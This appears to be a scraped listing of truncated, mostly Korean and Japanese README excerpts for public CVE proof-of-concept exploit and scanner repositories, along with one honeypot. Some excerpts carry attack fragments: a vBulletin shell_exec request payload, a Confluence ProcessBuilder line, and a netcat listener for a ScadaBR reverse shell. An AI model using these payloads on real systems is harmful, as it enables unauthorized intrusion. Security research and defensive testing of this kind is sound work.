cve-2020-0618

CVE-2020-0618 허니팟 CVE-020-0618SQL Reporting Services RCE 취약점을 악용하려는 시도를 탐지하고 기록합니다. 검색 엔진예: Google, Shodan 등에 인덱싱될 가능성을 높이기 위해 SSRS가 제공하는 것과 같은 콘텐츠와 헤더를 제공합니다. MDSec과 x1sec의 훌륭한 작업을 기반으로 합니다. 설치 코드 가져오기 Go 환경이 준비되어 있는지 확인하세요. git clone https://github.com/wortell/cve-2020-0618 인증서 생성 자체 서명 인증서를...

CVE-2024-4577-PHP-RCE

PHP RCE PoC CVE-2024-4577: PHP-CGI의 인자 주입 개요 이 저장소에는 PHP-CGI의 인자 주입 문제인 CVE-2024-4577 취약점을 확인하는 스크립트가 포함되어 있습니다. 제공된 Bash, Go, Python 스크립트를 사용하여 도메인 목록에서 이 취약점을 테스트할 수 있습니다. Nuclei YAML 파일도 함께 공개했습니다. 사용 방법 Bash 스크립트 Bash 스크립트를 사용하려면 다음 명령어를 실행하세요: ./CVE-2024-4577.sh /path/to/domains-list Go 스크립트...

CVE-2022-41852

JXPath 라이브러리의 원격 코드 실행 CVE-2022-41852 개념 증명 CVE-2022-41852는 공격자가 애플리케이션 서버에서 코드를 실행할 수 있게 합니다. 이 취약점에 대해 더 자세히 알아보려면 다음을 참조하세요: https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/ 참고: 저는 이 CVE의 작성자가 아닙니다. 단지 이 개념 증명을 만들었을 뿐입니다. 유용한 링크 JXPath GitHub JXPath 웹사이트...

CVE-2025-1974

Kubernetes Ingress-NGINX 인증되지 않은 원격 코드 실행CVE-2025-1974 Ingress-NGINX: NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes 용 인그레스 컨트롤러 "IngressNightmare" 취약점CVE-2025-1974은 수신되는 Ingree 리소스의 유효성을 검사하는 쿠버네티스의 핵심 보안 메커니즘인 Ingress-NGINX Admission Controller 의 치명적인 결함에서 비롯된다. 이 컨트롤러는 인증 없이도 네트워크에 노출되어 공격자가 악성...

CVE-2020-17496

CVE-2020-17496 POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo shellexec"pwd"; exit;...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server この脆弱性は、攻撃者が影響を受ける Confluence サーバーを完全に制御できるようにする可能性があります。これにより、攻撃者はデータの窃取、データの改ざん、またはサーバーの可用性の妨害を行うことができる可能性があります。 PoC JavaScript ファイルを作成し、exploit.js という名前を付けて、次の行を追加します new java.lang.ProcessBuilder"java.lang.String""calc.exe".start...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Python 3으로 작성된 자동화된 F5 Big IP 원격 코드 실행 CVE-2020-5902 스캐너 취약점 설명 F5는 2020년 6월 30일에 Big IP의 여러 버전에 영향을 미치는 중요 원격 코드 실행 취약점CVE-2020-5902을 공개했습니다. 공격자는 공개되지 않은 페이지에서 TMUI트래픽 관리 사용자 인터페이스에 존재하는 RCE 및 LFI를 쉽게 악용할 수 있습니다. 요약하자면, CVSS 점수 10의 원격 코드 실행 및 로컬 파일 포함 취약점의 변종입니다. 설치 For...

CiscoExploit

CiscoExploit 시스코 스캔 IP/Port/HostName/Boot/Version https://www.cnblogs.com/k8gege/p/10679491.html CVE-2019-1821 Cisco Prime Infrastructure 원격 코드 실행 https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html Cisco SNMP RCE...

CVE-2024-29943

CVE-2024-29943 Pwn2Own SpiderMonkey JIT 버그: 정수 범위 불일치에서 경계 검사 제거Bound Check Elimination를 거쳐 RCE까지. 이 저장소는 CVE-2024-29943에 대한 PoC, Exploit 및 분석 슬라이드를 포함합니다. Demo Demo.mp4 Slides Slides.pdf 재현 정보 Github Git 커밋: afbdf6822c9e9f9b6d44b9ea6904cb10878126b1 운영 체제: Ubuntu 22.04 아키텍처: amd64 명령줄 인수: ./js...

CVE-2020-10257

/ \ \ / /|| \ / |/ | | | \ V /| | / / / / || | / /| \ / / | / | | / / / || /| /// by darkcast CVE-2020-10257: WordPress TRX Addons プラグイン 未認証リモートコード実行 RCE 脆弱性 影響を受けるプラグイン: TRX Addons 脆弱性の種類: 未認証リモートコード実行 RCE CVSS スコア: 9.8 Critical 脆弱なバージョン: バージョン 2.5.1 より前 修正プログラム: あり バージョン 2.5.1 以降に更新 説明:...

CVE-2021-3129---Laravel-RCE

CVE-2021-3129---Laravel-RCE 概要 このスクリプトは、Laravel RCE CVE-2021-3129 の脆弱性を悪用するために作成されました。 このスクリプトを使用すると、".env" ファイルで "APPDEBUG" が "true" に設定されている、Laravel を実行しているウェブサイト上でコマンドの書き込み・実行が可能です。...

CVE-2024-21413-Microsoft-Outlook-RCE-Exploit

CVE-2024-21413-Microsoft-Outlook-RCE-Exploit CVE-2024-21413 Microsoft Outlook RCE 익스플로잇...

CVE-2021-26828_ScadaBR_RCE

PoC CVE-2021-26828ScadaBR원격코드실행 ScadaBR 0.9.1 Linux 및 1.0, 1.12.4CE Windows 버전은 원격 인증 사용자가 'viewedit.shtm'을 통해 임의의 JSP 파일을 업로드하고 실행하여 원격 코드 실행을 허용합니다. 익스플로잇 사용법 명령어: Windows: $ sudo python WinScadaRCE.py Linux: 먼저 로컬 머신에서 익스플로잇 실행 전에 임의의 포트를 엽니다: $ sudo nc -vnlp 4444 $ sudo python LinScadaRCE.py ...

CVE-2022-22965

CVE-2022-22965 2022.04.02 16:44 POC 최적화, 일회성 검증이 더 이상 아님 Optimized POC, no longer a one-time validation 경고: 이 프로그램은 로그 정보의 무결성을 파괴합니다. 서버 데이터를 백업하십시오! 서버 침투 테스트 권한이 있는 경우에만 사용하십시오! Warning: This program will destroy log information integrity, please back up server data! Use only if you have serve...

cve-2022-22947

Spring Cloud Gateway Actuator API SpEL 코드 인젝션 CVE-2022-22947 빌드 $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC 라우터에 SpEL 표현식이 포함된 라우터를 추가하려면 다음 요청을 전송합니다 이 경우, 우리...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar 출처: https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget EXP 사용...

CVE-2021-40444

CVE-2021-40444 PoC CVE-2021-40444를 악용하는 악성 docx 생성기 Microsoft Office Word 원격 코드 실행 이 스크립트의 생성은 실제 환경에서 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52, docx 파일에 대한 일부 리버스 엔지니어링을 기반으로 합니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 단계는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability 취약점 설명 많은 경우 WebView를 사용하여 웹페이지를 표시합니다. 예를 들어 서버 제어를 달성하기 위해 많은 애플리케이션에서 결과 페이지는 로컬 구현이 아닌 웹페이지입니다. 이는 인터페이스 변경 시 새 버전을 출시할 필요 없이 서버 측에서 직접 수정하는 등 많은 장점이 있습니다. 웹페이지로 인터페이스를 표시할 때는 일반적으로 Java 코드와 어느 정도 상호 작용이 있습니다. 예를 들어 웹페이지 위의 버튼을 클릭하면 버튼 클릭 이벤트를 알아야 하거나,...

CVE-2021-3129

CVE-2021-3129 CVE-2021-3129 Laravel PoC 교육 목적으로만 사용하세요 테스트 PoC 환경 설정 $ docker-compose build $ docker-compose up -d 작동 확인 http://localhost:8000/에 접속하여 Laravel 기본 페이지가 표시되는지 확인하세요. 익스플로잇 $ docker-compose exec attacker sh / python3 exploit.py 참고 자료 https://www.ambionics.io/blog/laravel-debug-rce...

s2-062

s2-062 원격 코드 실행 S2-062 CVE-2021-31805 검증 POC 검증 방식 vulfocus 타겟장 문제 POC는 s2-061 타겟장을 검증하는 것으로, 파라미터는 id이고, 새 타겟장의 파라미터는 name입니다. id라고 판단한 주된 이유는 Windows와 Linux에서 공통적인 명령어 반환 판별 특징을 생각해낼 수 없었기 때문입니다. 타겟장은 응답이 없는 것으로 보이므로 명령어 출력을 볼 수 없습니다. 하지만 리버스 쉘 및 DNSlog 탐지는 가능합니다. 응답이 없는 경우...